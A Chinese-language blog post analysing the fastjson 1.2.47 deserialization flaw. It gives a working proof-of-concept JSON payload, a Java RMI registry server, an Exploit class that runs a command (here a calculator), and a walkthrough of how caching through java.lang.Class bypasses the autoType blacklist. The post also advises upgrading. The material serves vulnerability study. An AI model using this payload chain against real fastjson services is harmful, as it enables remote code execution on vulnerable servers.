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fastjson =< 1.2.47 反序列化漏洞浅析

学习类 展示类 技术类 阅读: 4159 0 评

poc

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}

最近据说爆出来一个在hw期间使用的fastjson 漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升级到> 1.2.47版本(保险起见,建议升级到最新版)

环境准备

阅读本篇文章之前建议先了解一下fastjson中的jndi漏洞利用方式。

rmiServer.java

/*
 * Copyright sky 2019-07-11 Email:[email protected]
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package cn.org.javaweb.fastjsontest;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * @author sky
 */
public class test3 {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Exloit",
                "Exploit","http://localhost:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }
}

Exploit.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class Exploit implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        exec("xterm");
        return null;
    }

    public static String exec(String cmd) {
        try {
            Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
        return "";
    }

    public static void main(String[] args) {
        exec("123");
    }
}

poc.java

/*
 * Copyright sky 2019-07-11 Email:[email protected]
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package cn.org.javaweb.fastjsontest;

import com.alibaba.fastjson.JSON;

/**
 * @author sky
 */
public class test5 {

    public static void main(String[] argv) {
        String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
                "\"xxxx\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":" +
                "\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}}";
        JSON.parse(payload);
    }

}

其中Exploit.java需要使用javac编译执行一次生成Exploit.class并放置在localhost:8000端口的根目录。我这边使用python简单的httpServer搭建的简易http服务器。

调用分析

调用过程和之前的 《fastjson jndi利用方式》 差不多,这边使用了一个特性绕过了黑名单机制,在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)执行逻辑中:

首先遇到的是第一个key@type,然后进行了以下的判断,如果是@type并且启用了特殊key检查的话,那么就把对应的value作为类来加载。这边摘取片段来进行展示。

if (key == JSON.DEFAULT_TYPE_KEY&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
 ………… ………… …………
if (object != null&&object.getClass().getName().equals(typeName)) {
    clazz = object.getClass();
} else {
     clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
 }
 ………… ………… …………

    Object obj = deserializer.deserialze(this, clazz, fieldName);
    return obj;

}

fastjson会去检测@type的类是否为黑名单中的类,

而poc中传入的@typejava.lang.class并非黑名单中的类,所以第一步检测的通过的。

接下来会把对应的value进行加载,也就是加载java.lang.class

跟进deserialze方法(com.alibaba.fastjson.serializer.MiscCodec#deserialze)

可以看到lexer中的stringVal为poc中的val,而val的值为com.sun.rowset.JdbcRowSetImpl.

接下来将objVal赋值给strVal

然后执行下面一大串if判断,其中有个if为:
如果传入的clazz为java.lang.class,则会调用TypeUtils.loadClass加载com.sun.rowset.JdbcRowSetImpl类,

跟进loadClass方法

从而导致checkAutoType在检测是否为黑名单的时候绕了过去,因为上一步将com.sun.rowset.JdbcRowSetImpl放入了mapping中,checkAutoType中使用TypeUtils.getClassFromMapping(typeName)去获取class不为空,从而绕过了黑名单检测

导致将com.sun.rowset.JdbcRowSetImpl放入mapping中的问题点是在loadClass中的第三个参数,该参数是指是否对class放入缓存mapping中。

com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)

1.2.47版本中的代码

1.2.48版本中的代码

结语

文章中有不对的点欢迎指出,勿喷,文明交流

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